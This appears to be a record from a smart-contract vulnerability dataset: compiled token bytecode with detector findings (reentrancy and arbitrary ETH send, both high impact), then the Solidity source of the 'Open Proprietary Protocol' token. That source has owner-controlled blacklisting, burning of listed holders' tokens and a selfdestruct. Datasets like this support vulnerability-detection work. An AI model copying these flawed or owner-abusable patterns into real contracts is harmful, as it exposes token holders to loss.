517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f56565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce800000061209490919063ffffffff16565b61210f90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f59190613056565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ff6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612f16565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190613056565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612fd6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612ed6565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612fb6565b60405180910390fd5b61158561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f357506115c361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5657600f60179054906101000a900460ff1615611826573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117295750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182557600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176f611287565b73ffffffffffffffffffffffffffffffffffffffff1614806117e55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117cd611287565b73ffffffffffffffffffffffffffffffffffffffff16145b611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b90613036565b60405180910390fd5b5b5b60105481111561183557600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119fb5750600f60179054906101000a900460ff165b15611a9c5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4b57600080fd5b603c42611a58919061318c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa730610786565b9050600f60159054906101000a900460ff16158015611b145750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b2c5750600f60169054906101000a900460ff165b15611b5457611b3a81611e0c565b60004790506000811115611b5257611b5147611c7d565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0757600090505b611c1384848484612159565b50505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c589190612eb4565b60405180910390fd5b5060008385611c70919061326d565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce0600a611cd260048661209490919063ffffffff16565b61210f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0b573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6f600a611d6160068661209490919063ffffffff16565b61210f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d9a573d6000803e3d6000fd5b5050565b6000600654821115611de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddc90612ef6565b60405180910390fd5b6000611def612186565b9050611e04818461210f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4457611e43613442565b5b604051908082528060200260200182016040528015611e725781602001602082028036833780820191505090505b5090503081600081518110611e8a57611e89613413565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2c57600080fd5b505afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f6491906128fb565b81600181518110611f7857611f77613413565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612043959493929190613071565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120a75760009050612109565b600082846120b59190613213565b90508284826120c491906131e2565b14612104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fb90612f76565b60405180910390fd5b809150505b92915050565b600061215183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121b1565b905092915050565b8061216757612166612214565b5b612172848484612245565b806121805761217f612410565b5b50505050565b6000806000612193612422565b915091506121aa818361210f90919063ffffffff16565b9250505090565b600080831182906121f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ef9190612eb4565b60405180910390fd5b506000838561220791906131e2565b9050809150509392505050565b600060085414801561222857506000600954145b1561223257612243565b600060088190555060006009819055505b565b6000806000806000806122578761248d565b9550955095509550955095506122b586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061234a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123968161259c565b6123a08483612659565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123fd9190613056565b60405180910390a3505050505050505050565b60056008819055506003600981905550565b6000806000600654905060006b033b2e3c9fd0803ce8000000905061245e6b033b2e3c9fd0803ce800000060065461210f90919063ffffffff16565b821015612480576006546b033b2e3c9fd0803ce8000000935093505050612489565b81819350935050505b9091565b60008060008060008060008060006124a98a600854600c612693565b92509250925060006124b9612186565b905060008060006124cc8e878787612729565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061253683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b600080828461254d919061318c565b905083811015612592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258990612f36565b60405180910390fd5b8091505092915050565b60006125a6612186565b905060006125bd828461209490919063ffffffff16565b905061261181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61266e826006546124f490919063ffffffff16565b6006819055506126898160075461253e90919063ffffffff16565b6007819055505050565b6000806000806126bf60646126b1888a61209490919063ffffffff16565b61210f90919063ffffffff16565b905060006126e960646126db888b61209490919063ffffffff16565b61210f90919063ffffffff16565b9050600061271282612704858c6124f490919063ffffffff16565b6124f490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612742858961209490919063ffffffff16565b90506000612759868961209490919063ffffffff16565b90506000612770878961209490919063ffffffff16565b905060006127998261278b85876124f490919063ffffffff16565b6124f490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127c56127c08461310b565b6130e6565b905080838252602082019050828560208602820111156127e8576127e7613476565b5b60005b8581101561281857816127fe8882612822565b8452602084019350602083019250506001810190506127eb565b5050509392505050565b6000813590506128318161378c565b92915050565b6000815190506128468161378c565b92915050565b600082601f83011261286157612860613471565b5b81356128718482602086016127b2565b91505092915050565b600081359050612889816137a3565b92915050565b60008151905061289e816137a3565b92915050565b6000813590506128b3816137ba565b92915050565b6000815190506128c8816137ba565b92915050565b6000602082840312156128e4576128e3613480565b5b60006128f284828501612822565b91505092915050565b60006020828403121561291157612910613480565b5b600061291f84828501612837565b91505092915050565b6000806040838503121561293f5761293e613480565b5b600061294d85828601612822565b925050602061295e85828601612822565b9150509250929050565b60008060006060848603121561298157612980613480565b5b600061298f86828701612822565b93505060206129a086828701612822565b92505060406129b1868287016128a4565b9150509250925092565b600080604083850312156129d2576129d1613480565b5b60006129e085828601612822565b92505060206129f1858286016128a4565b9150509250929050565b600060208284031215612a1157612a10613480565b5b600082013567ffffffffffffffff811115612a2f57612a2e61347b565b5b612a3b8482850161284c565b91505092915050565b600060208284031215612a5a57612a59613480565b5b6000612a688482850161287a565b91505092915050565b600060208284031215612a8757612a86613480565b5b6000612a958482850161288f565b91505092915050565b600060208284031215612ab457612ab3613480565b5b6000612ac2848285016128a4565b91505092915050565b600080600060608486031215612ae457612ae3613480565b5b6000612af2868287016128b9565b9350506020612b03868287016128b9565b9250506040612b14868287016128b9565b9150509250925092565b6000612b2a8383612b36565b60208301905092915050565b612b3f816132a1565b82525050565b612b4e816132a1565b82525050565b6000612b5f82613147565b612b69818561316a565b9350612b7483613137565b8060005b83811015612ba5578151612b8c8882612b1e565b9750612b978361315d565b925050600181019050612b78565b5085935050505092915050565b612bbb816132b3565b82525050565b612bca816132f6565b82525050565b6000612bdb82613152565b612be5818561317b565b9350612bf5818560208601613308565b612bfe81613485565b840191505092915050565b6000612c1660238361317b565b9150612c2182613496565b604082019050919050565b6000612c39602a8361317b565b9150612c44826134e5565b604082019050919050565b6000612c5c60228361317b565b9150612c6782613534565b604082019050919050565b6000612c7f601b8361317b565b9150612c8a82613583565b602082019050919050565b6000612ca2601d8361317b565b9150612cad826135ac565b602082019050919050565b6000612cc560218361317b565b9150612cd0826135d5565b604082019050919050565b6000612ce860208361317b565b9150612cf382613624565b602082019050919050565b6000612d0b60298361317b565b9150612d168261364d565b604082019050919050565b6000612d2e60258361317b565b9150612d398261369c565b604082019050919050565b6000612d5160248361317b565b9150612d5c826136eb565b604082019050919050565b6000612d7460178361317b565b9150612d7f8261373a565b602082019050919050565b6000612d9760118361317b565b9150612da282613763565b602082019050919050565b612db6816132df565b82525050565b612dc5816132e9565b82525050565b6000602082019050612de06000830184612b45565b92915050565b6000604082019050612dfb6000830185612b45565b612e086020830184612b45565b9392505050565b6000604082019050612e246000830185612b45565b612e316020830184612dad565b9392505050565b600060c082019050612e4d6000830189612b45565b612e5a6020830188612dad565b612e676040830187612bc1565b612e746060830186612bc1565b612e816080830185612b45565b612e8e60a0830184612dad565b979650505050505050565b6000602082019050612eae6000830184612bb2565b92915050565b60006020820190508181036000830152612ece8184612bd0565b905092915050565b60006020820190508181036000830152612eef81612c09565b9050919050565b60006020820190508181036000830152612f0f81612c2c565b9050919050565b60006020820190508181036000830152612f2f81612c4f565b9050919050565b60006020820190508181036000830152612f4f81612c72565b9050919050565b60006020820190508181036000830152612f6f81612c95565b9050919050565b60006020820190508181036000830152612f8f81612cb8565b9050919050565b60006020820190508181036000830152612faf81612cdb565b9050919050565b60006020820190508181036000830152612fcf81612cfe565b9050919050565b60006020820190508181036000830152612fef81612d21565b9050919050565b6000602082019050818103600083015261300f81612d44565b9050919050565b6000602082019050818103600083015261302f81612d67565b9050919050565b6000602082019050818103600083015261304f81612d8a565b9050919050565b600060208201905061306b6000830184612dad565b92915050565b600060a0820190506130866000830188612dad565b6130936020830187612bc1565b81810360408301526130a58186612b54565b90506130b46060830185612b45565b6130c16080830184612dad565b9695505050505050565b60006020820190506130e06000830184612dbc565b92915050565b60006130f0613101565b90506130fc828261333b565b919050565b6000604051905090565b600067ffffffffffffffff82111561312657613125613442565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613197826132df565b91506131a2836132df565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131d7576131d66133b5565b5b828201905092915050565b60006131ed826132df565b91506131f8836132df565b925082613208576132076133e4565b5b828204905092915050565b600061321e826132df565b9150613229836132df565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613262576132616133b5565b5b828202905092915050565b6000613278826132df565b9150613283836132df565b925082821015613296576132956133b5565b5b828203905092915050565b60006132ac826132bf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613301826132df565b9050919050565b60005b8381101561332657808201518184015260208101905061330b565b83811115613335576000848401525b50505050565b61334482613485565b810181811067ffffffffffffffff8211171561336357613362613442565b5b80604052505050565b6000613377826132df565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133aa576133a96133b5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613795816132a1565b81146137a057600080fd5b50565b6137ac816132b3565b81146137b757600080fd5b50565b6137c3816132df565b81146137ce57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220acfd00171de39329a2feb5850c38c256b959fc96b8973fef118d32cea289910664736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,145
0x336202af9444da012f03348f1eacef0ce1ce6559
/** *Submitted for verification at Etherscan.io on 2021-09-09 */ /** *Submitted for verification at Etherscan.io on 2020-06-25 */ /** *Submitted for verification at Etherscan.io on 2019-01-31 */ pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if(a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom ( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance ( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { uint8 constant MAX_BURN = 3; address[MAX_BURN] public chkBurnerList; mapping(address => bool) public burners; //mapping (address => bool) public owners; address owner; event AddedBurner(address indexed newBurner); event ChangeOwner(address indexed newOwner); event DeletedBurner(address indexed toDeleteBurner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyBurner(){ require(burners[msg.sender]); _; } function changeOwnerShip(address newOwner) public onlyOwner returns(bool) { require(newOwner != address(0)); owner = newOwner; emit ChangeOwner(newOwner); return true; } function addBurner(address burner, uint8 num) public onlyOwner returns (bool) { require(num < MAX_BURN); require(burner != address(0)); require(chkBurnerList[num] == address(0)); require(burners[burner] == false); burners[burner] = true; chkBurnerList[num] = burner; emit AddedBurner(burner); return true; } function deleteBurner(address burner, uint8 num) public onlyOwner returns (bool){ require(num < MAX_BURN); require(burner != address(0)); require(chkBurnerList[num] == burner); burners[burner] = false; chkBurnerList[num] = address(0); emit DeletedBurner(burner); return true; } } contract Blacklist is Ownable { mapping(address => bool) blacklisted; event Blacklisted(address indexed blacklist); event Whitelisted(address indexed whitelist); modifier whenPermitted(address node) { require(!blacklisted[node]); _; } function isPermitted(address node) public view returns (bool) { return !blacklisted[node]; } function blacklist(address node) public onlyOwner returns (bool) { require(!blacklisted[node]); blacklisted[node] = true; emit Blacklisted(node); return blacklisted[node]; } function unblacklist(address node) public onlyOwner returns (bool) { require(blacklisted[node]); blacklisted[node] = false; emit Whitelisted(node); return blacklisted[node]; } } contract Burnlist is Blacklist { mapping(address => bool) public isburnlist; event Burnlisted(address indexed burnlist, bool signal); modifier isBurnlisted(address who) { require(isburnlist[who]); _; } function addBurnlist(address node) public onlyOwner returns (bool) { require(!isburnlist[node]); isburnlist[node] = true; emit Burnlisted(node, true); return isburnlist[node]; } function delBurnlist(address node) public onlyOwner returns (bool) { require(isburnlist[node]); isburnlist[node] = false; emit Burnlisted(node, false); return isburnlist[node]; } } contract PausableToken is StandardToken, Burnlist { bool public paused = false; event Paused(address addr); event Unpaused(address addr); constructor() public { } modifier whenNotPaused() { require(!paused || owner == msg.sender); _; } function pause() public onlyOwner returns (bool) { require(!paused); paused = true; emit Paused(msg.sender); return paused; } function unpause() public onlyOwner returns (bool) { require(paused); paused = false; emit Unpaused(msg.sender); return paused; } function transfer(address to, uint256 value) public whenNotPaused whenPermitted(msg.sender) returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused whenPermitted(from) whenPermitted(msg.sender) returns (bool) { return super.transferFrom(from, to, value); } } /** * @title Open Proprietary Protocol * */ contract Open_Proprietary_Protocol is PausableToken { event Burn(address indexed burner, uint256 value); event Mint(address indexed minter, uint256 value); string public constant name = "Open Proprietary Protocol"; uint8 public constant decimals = 18; string public constant symbol = "OPP"; uint256 public constant INITIAL_SUPPLY = 3e9 * (10 ** uint256(decimals)); //3,000,000,000 constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } function destory() public onlyOwner returns (bool) { selfdestruct(owner); return true; } function mint(uint256 _amount) public onlyOwner returns (bool) { require(INITIAL_SUPPLY >= totalSupply_.add(_amount)); totalSupply_ = totalSupply_.add(_amount); balances[owner] = balances[owner].add(_amount); emit Mint(owner, _amount); emit Transfer(address(0), owner, _amount); return true; } function burn(address _to,uint256 _value) public onlyBurner isBurnlisted(_to) returns(bool) { _burn(_to, _value); return true; } function _burn(address _who, uint256 _value) internal returns(bool){ require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); return true; } }
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302be8e4e1461017a57806303d41e0e146101d557806306fdde0314610230578063095ea7b3146102c057806318160ddd146103255780631b9cddcc1461035057806323b872dd146103bd5780632e01161a146104425780632ff2e9dc1461049d578063313ce567146104c85780633b8157ef146104f95780633f4ba83a146105545780633fd8cc4e146105835780635c975abb146105de578063661884631461060d57806369255678146106725780636bdebcc9146106cd57806370a08231146106fc57806375e3661e146107535780638456cb59146107ae57806395d89b41146107dd5780639dc29fac1461086d578063a0712d68146108d2578063a9059cbb14610917578063d73dd6231461097c578063dd62ed3e146109e1578063ec27035014610a58578063f9f92be414610ac0578063fe069fb114610b1b575b600080fd5b34801561018657600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b83565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b50610216600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610caa565b604051808215151515815260200191505060405180910390f35b34801561023c57600080fd5b50610245610cca565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028557808201518184015260208101905061026a565b50505050905090810190601f1680156102b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d03565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b5061033a610df5565b6040518082815260200191505060405180910390f35b34801561035c57600080fd5b5061037b60048036038101908080359060200190929190505050610dff565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103c957600080fd5b50610428600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e34565b604051808215151515815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f74565b604051808215151515815260200191505060405180910390f35b3480156104a957600080fd5b506104b2610f94565b6040518082815260200191505060405180910390f35b3480156104d457600080fd5b506104dd610fa5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561050557600080fd5b5061053a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610faa565b604051808215151515815260200191505060405180910390f35b34801561056057600080fd5b5061056961115f565b604051808215151515815260200191505060405180910390f35b34801561058f57600080fd5b506105c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126b565b604051808215151515815260200191505060405180910390f35b3480156105ea57600080fd5b506105f36112c2565b604051808215151515815260200191505060405180910390f35b34801561061957600080fd5b50610658600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d5565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611566565b604051808215151515815260200191505060405180910390f35b3480156106d957600080fd5b506106e261171c565b604051808215151515815260200191505060405180910390f35b34801561070857600080fd5b5061073d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b5565b6040518082815260200191505060405180910390f35b34801561075f57600080fd5b50610794600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117fd565b604051808215151515815260200191505060405180910390f35b3480156107ba57600080fd5b506107c36119a2565b604051808215151515815260200191505060405180910390f35b3480156107e957600080fd5b506107f2611aaf565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610832578082015181840152602081019050610817565b50505050905090810190601f16801561085f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561087957600